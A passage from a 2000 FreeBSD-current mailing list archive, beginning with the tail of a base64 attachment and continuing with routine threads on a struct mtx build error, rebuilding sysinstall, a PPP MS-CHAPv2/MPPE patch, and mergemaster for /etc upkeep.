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 --0-1343872478-972852443=:58714-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 13:39: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from field.videotron.net (field.videotron.net [205.151.222.108]) by hub.freebsd.org (Postfix) with ESMTP id 0DFB037B4C5 for ; Sun, 29 Oct 2000 13:38:59 -0800 (PST) Received: from modemcable213.3-201-24.mtl.mc.videotron.ca ([24.201.3.213]) by field.videotron.net (Sun Internet Mail Server sims.3.5.1999.12.14.10.29.p8) with ESMTP id <0G37006C5O4RKG@field.videotron.net> for current@FreeBSD.ORG; Sun, 29 Oct 2000 16:38:51 -0500 (EST) Date: Sun, 29 Oct 2000 16:43:22 -0500 (EST) From: Bosko Milekic Subject: Re: Multiply defined 'struct mtx' ? In-reply-to: <200010290818.TAA23760@avalon.reed.wattle.id.au> X-Sender: bmilekic@jehovah.technokratis.com To: Darren Reed Cc: current@FreeBSD.ORG Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG sys/mbuf.h unfortunately includes sys/mutex.h No obvious workaround is in sight, to my knowledge, anyway. On Sun, 29 Oct 2000, Darren Reed wrote: > > IP Filter doesn't introduce a "struct mtx" which suggests something isn't > protecting against multiple inclusions or similar ? > > Darren > > (ref5:~/freebsd/src/usr.sbin/ipftest) make > Warning: Object directory not changed from original /d/home/darrenr/freebsd/src/usr.sbin/ipftest > cc -O -pipe -DIPL_NAME=\"/dev/ipl\" -I- -I/d/home/darrenr/freebsd/src/usr.sbin/ipftest -I/d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/netinet -I/d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys -I/d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../contrib/ipfilter -c /d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/netinet/fil.c > In file included from /d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/sys/mbuf.h:40, > from /d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/netinet/fil.c:48: > /d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/sys/mutex.h:110: redefinition of `struct mtx' > *** Error code 1 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > > Bosko Milekic bmilekic@technokratis.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 14:33:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id 3E8B337B479 for ; Sun, 29 Oct 2000 14:33:27 -0800 (PST) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id OAA90914; Sun, 29 Oct 2000 14:33:08 -0800 (PST) (envelope-from obrien) Date: Sun, 29 Oct 2000 14:33:08 -0800 From: "David O'Brien" To: janb@cs.utep.edu Cc: freebsd-current@freebsd.org Subject: Re: /stand/sysinstall fdisk won't work Message-ID: <20001029143308.B90883@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from janb@cs.utep.edu on Sun, Oct 29, 2000 at 12:20:31PM -0700 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Oct 29, 2000 at 12:20:31PM -0700, janb@cs.utep.edu wrote: > After installing the latest version of the current source, > /stand/sysinstall's fdisk will not find any devices. Can anybody tell me > what I forgot to do? I did do the /dev/MAKEDEV all. cd /usr/src/release/sysinstall make obj && make all install In otherwords rebuild and install a new sysinstall. -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 15: 1:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from dfw-smtpout2.email.verio.net (dfw-smtpout2.email.verio.net [129.250.36.42]) by hub.freebsd.org (Postfix) with ESMTP id 4BEFB37B479; Sun, 29 Oct 2000 15:01:19 -0800 (PST) Received: from [129.250.38.62] (helo=dfw-mmp2.email.verio.net) by dfw-smtpout2.email.verio.net with esmtp (Exim 3.12 #7) id 13q1S2-0001cP-00; Sun, 29 Oct 2000 23:01:18 +0000 Received: from [204.1.90.43] (helo=power) by dfw-mmp2.email.verio.net with smtp id 13q1S2-0003sY-00; Sun, 29 Oct 2000 23:01:18 +0000 From: "Tony Johnson" To: , Cc: Subject: RE: /stand/sysinstall fdisk won't work Date: Sun, 29 Oct 2000 17:01:18 -0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <20001029143308.B90883@dragon.nuxi.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It would be nice if this were part of the make world process, instead of having to do this separately. Since you are rebuilding the "world" then this should be included. -----Original Message----- From: owner-freebsd-current@FreeBSD.ORG [mailto:owner-freebsd-current@FreeBSD.ORG]On Behalf Of David O'Brien Sent: Sunday, October 29, 2000 4:33 PM To: janb@cs.utep.edu Cc: freebsd-current@freebsd.org Subject: Re: /stand/sysinstall fdisk won't work On Sun, Oct 29, 2000 at 12:20:31PM -0700, janb@cs.utep.edu wrote: > After installing the latest version of the current source, > /stand/sysinstall's fdisk will not find any devices. Can anybody tell me > what I forgot to do? I did do the /dev/MAKEDEV all. cd /usr/src/release/sysinstall make obj && make all install In otherwords rebuild and install a new sysinstall. -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 15:25:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from bsdone.bsdwins.com (www.bsdwins.com [192.58.184.33]) by hub.freebsd.org (Postfix) with ESMTP id 29E4F37B4E5 for ; Sun, 29 Oct 2000 15:25:09 -0800 (PST) Received: (from jwd@localhost) by bsdone.bsdwins.com (8.11.0/8.11.0) id e9TNOpI33320; Sun, 29 Oct 2000 18:24:51 -0500 (EST) (envelope-from jwd) Date: Sun, 29 Oct 2000 18:24:51 -0500 From: "John W. De Boskey" To: janb@cs.utep.edu Cc: freebsd-current@FreeBSD.ORG Subject: Re: /stand/sysinstall fdisk won't work Message-ID: <20001029182451.A33291@bsdwins.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from janb@cs.utep.edu on Sun, Oct 29, 2000 at 12:20:31PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I believe you need to update sysinstall. The following is what I do to update sysinstall on our 'make release' machine. Similar should work for you (change sysinstalldir & MAKEOBJDIR). -John ------------------------------------------------------------------------ # # Install sysinstall into /stand/sysinstall (binary & manpage) # function do_sysinstall { sysinstalldir="$RDIR/usr/src/release/sysinstall" if [[ -d $sysinstalldir ]]; then cd $sysinstalldir && pwd && export MAKEOBJDIR=/snap/release/usr/obj/usr/src/release/sysinstall && make obj && make all install; return 0 else echo "Hey! Where is $sysinstalldir!!" return 0 fi bail 1 "Installation of sysinstall failed!" # NotReached return 1 } ------------------------------------------------------------------------ ----- janb@cs.utep.edu's Original Message ----- > After installing the latest version of the current source, > /stand/sysinstall's fdisk will not find any devices. Can anybody tell me > what I forgot to do? I did do the /dev/MAKEDEV all. > > JAn > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 16:22:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (tun.AwfulHak.org [194.242.139.173]) by hub.freebsd.org (Postfix) with ESMTP id EA74937B4E5; Sun, 29 Oct 2000 16:22:02 -0800 (PST) Received: from hak.lan.Awfulhak.org (root@hak.lan.awfulhak.org [172.16.0.12]) by Awfulhak.org (8.11.0/8.11.0) with ESMTP id e9U0Ipl04020; Mon, 30 Oct 2000 00:18:51 GMT (envelope-from brian@hak.lan.Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.11.1/8.11.1) with ESMTP id e9U0KBs49169; Mon, 30 Oct 2000 00:20:11 GMT (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200010300020.e9U0KBs49169@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Ustimenko Semen Cc: Brian Somers , hackers@FreeBSD.org, current@FreeBSD.org, brian@Awfulhak.org Subject: Re: PPP patch (CHAP81 + MPPE) In-Reply-To: Message from Ustimenko Semen of "Mon, 30 Oct 2000 02:47:23 +0600." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 30 Oct 2000 00:20:11 +0000 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Thanks for the patches. I've committed the changes although I'm having problems with MPPE. I suspect the problems are actually in the CCP stuff though - and I've suspected this for some time, something to do with running ppp back-to-back (and not over a tty). I'll look into this soon. Anyway, thanks again for your work. It's really appreciated. > Hi! > > Here is a patch attached (made from current from 20000813). > > Patch makes ppp able to respond and initiate MS-CHAP-v2 authentication and > supports MPPE encryption protocol. With all these ppp can participate in > MS VPN. Please look at this, and tell me what you think? > > Bye! [.....] -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 17:27:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from cs.utep.edu (mail.cs.utep.edu [129.108.5.3]) by hub.freebsd.org (Postfix) with ESMTP id 9959E37B479 for ; Sun, 29 Oct 2000 17:27:35 -0800 (PST) Received: from gecko (gecko [129.108.5.51]) by cs.utep.edu (8.10.1/8.10.1) with ESMTP id e9U1RPG19144 for ; Sun, 29 Oct 2000 18:27:26 -0700 (MST) Date: Sun, 29 Oct 2000 18:27:25 -0700 (MST) From: X-Sender: janb@gecko Cc: freebsd-current@freebsd.org Subject: Re: /stand/sysinstall fdisk won't work In-Reply-To: <20001029143308.B90883@dragon.nuxi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thank you all for the help JAn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 18:52:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from msa.hinet.net (msa.hinet.net [168.95.4.211]) by hub.freebsd.org (Postfix) with ESMTP id 9BE6D37B479 for ; Sun, 29 Oct 2000 18:52:56 -0800 (PST) Received: from CoreBit.com (h57.s180.ts.hinet.net [168.95.180.57]) by msa.hinet.net (8.8.8/8.8.8) with ESMTP id KAA01064 for ; Mon, 30 Oct 2000 10:52:54 +0800 (CST) Message-ID: <39FCE266.9C531175@CoreBit.com> Date: Mon, 30 Oct 2000 10:52:22 +0800 From: Donny Lee X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Current Subject: Doc. for maintaining /etc stuff? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi there, Is there any doc. for maintaining /etc stuff? especially focused on after time to time of cvsups, make worlds and kernels? BTW, my fbsd box is just back from a newly cvsup, world & kernel, mfs and random device seem back to work fine now. -- // Donny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 19: 0:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from peitho.fxp.org (peitho.fxp.org [209.26.95.40]) by hub.freebsd.org (Postfix) with ESMTP id 1047037B4C5 for ; Sun, 29 Oct 2000 19:00:31 -0800 (PST) Received: by peitho.fxp.org (Postfix, from userid 1501) id D5C811360E; Sun, 29 Oct 2000 22:00:35 -0500 (EST) Date: Sun, 29 Oct 2000 22:00:35 -0500 From: Chris Faulhaber To: Donny Lee Cc: Current Subject: Re: Doc. for maintaining /etc stuff? Message-ID: <20001029220035.A88083@peitho.fxp.org> Mail-Followup-To: Chris Faulhaber , Donny Lee , Current References: <39FCE266.9C531175@CoreBit.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <39FCE266.9C531175@CoreBit.com>; from donny@CoreBit.com on Mon, Oct 30, 2000 at 10:52:22AM +0800 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Oct 30, 2000 at 10:52:22AM +0800, Donny Lee wrote: > > Hi there, > > Is there any doc. for maintaining /etc stuff? especially focused > on after time to time of cvsups, make worlds and kernels? > > BTW, my fbsd box is just back from a newly cvsup, world & kernel, > mfs and random device seem back to work fine now. > http://www.freebsd.org/handbook/makeworld.html (18.4.7) recommends mergemaster(8) -- Chris D. Faulhaber - jedgar@fxp.org - jedgar@FreeBSD.org -------------------------------------------------------- FreeBSD: The Power To Serve - http://www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 19:37: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from bw150zhb.bluewin.ch (bw150zhb.bluewin.ch [195.186.1.68]) by hub.freebsd.org (Postfix) with ESMTP id 85B4837B479 for ; Sun, 29 Oct 2000 19:37:00 -0800 (PST) Received: from bluewin.ch (bw2-39pub58.bluewin.ch [213.3.39.58]) by bw150zhb.bluewin.ch (8.9.3/8.9.3) with ESMTP id EAA09942 for ; Mon, 30 Oct 2000 04:36:41 +0100 (MET) From: diego_gonzalez@bluewin.ch Message-ID: <39FCED08.188BBA08@bluewin.ch> Date: Mon, 30 Oct 2000 04:37:44 +0100 Reply-To: diego_gonzalez@bluewin.ch X-Sender: "" (Unverified) X-Mailer: Mozilla 4.03 [fr]C-BLUEWIN-CH20 (Win95; I) MIME-Version: 1.0 To: freebsd-current@FreeBSD.org Subject: giigigiklu Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ziipipggiggigié8 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 20:30:15 2000 Delivered-To: freebsd-current@freebsd.org Received: from msa.hinet.net (msa.hinet.net [168.95.4.211]) by hub.freebsd.org (Postfix) with ESMTP id D634737B4E5 for ; Sun, 29 Oct 2000 20:30:11 -0800 (PST) Received: from CoreBit.com (h57.s180.ts.hinet.net [168.95.180.57]) by msa.hinet.net (8.8.8/8.8.8) with ESMTP id MAA24462; Mon, 30 Oct 2000 12:29:55 +0800 (CST) Message-ID: <39FCF924.174F4538@CoreBit.com> Date: Mon, 30 Oct 2000 12:29:24 +0800 From: Donny Lee X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Chris Faulhaber Cc: Current Subject: Re: Doc. for maintaining /etc stuff? References: <39FCE266.9C531175@CoreBit.com> <20001029220035.A88083@peitho.fxp.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Chris Faulhaber wrote: > > Is there any doc. for maintaining /etc stuff? especially focused > > on after time to time of cvsups, make worlds and kernels? > > BTW, my fbsd box is just back from a newly cvsup, world & kernel, > > mfs and random device seem back to work fine now. > http://www.freebsd.org/handbook/makeworld.html (18.4.7) recommends > mergemaster(8) Thanks, this do help a lots. -- // Donny To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Oct 29 21:23:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id C6D6037B479 for ; Sun, 29 Oct 2000 21:23:54 -0800 (PST) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id QAA31520; Mon, 30 Oct 2000 16:23:33 +1100 Date: Mon, 30 Oct 2000 16:23:20 +1100 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Bosko Milekic Cc: Darren Reed , current@FreeBSD.ORG Subject: Re: Multiply defined 'struct mtx' ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 29 Oct 2000, Bosko Milekic wrote: > sys/mbuf.h unfortunately includes sys/mutex.h > > No obvious workaround is in sight, to my knowledge, anyway. No workaround is necessary for this particular problem. sys/mutex.h protects itself against multiple inclusion. > On Sun, 29 Oct 2000, Darren Reed wrote: > > > IP Filter doesn't introduce a "struct mtx" which suggests something isn't > > protecting against multiple inclusions or similar ? > > (ref5:~/freebsd/src/usr.sbin/ipftest) make > > Warning: Object directory not changed from original /d/home/darrenr/freebsd/src/usr.sbin/ipftest > > cc -O -pipe -DIPL_NAME=\"/dev/ipl\" -I- -I/d/home/darrenr/freebsd/src/usr.sbin/ipftest -I/d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/netinet -I/d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys -I/d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../contrib/ipfilter -c /d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/netinet/fil.c > > In file included from /d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/sys/mbuf.h:40, > > from /d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/netinet/fil.c:48: > > /d/home/darrenr/freebsd/src/usr.sbin/ipftest/../../sys/sys/mutex.h:110: redefinition of `struct mtx' > > *** Error code 1 Your is apparently out of date. With all 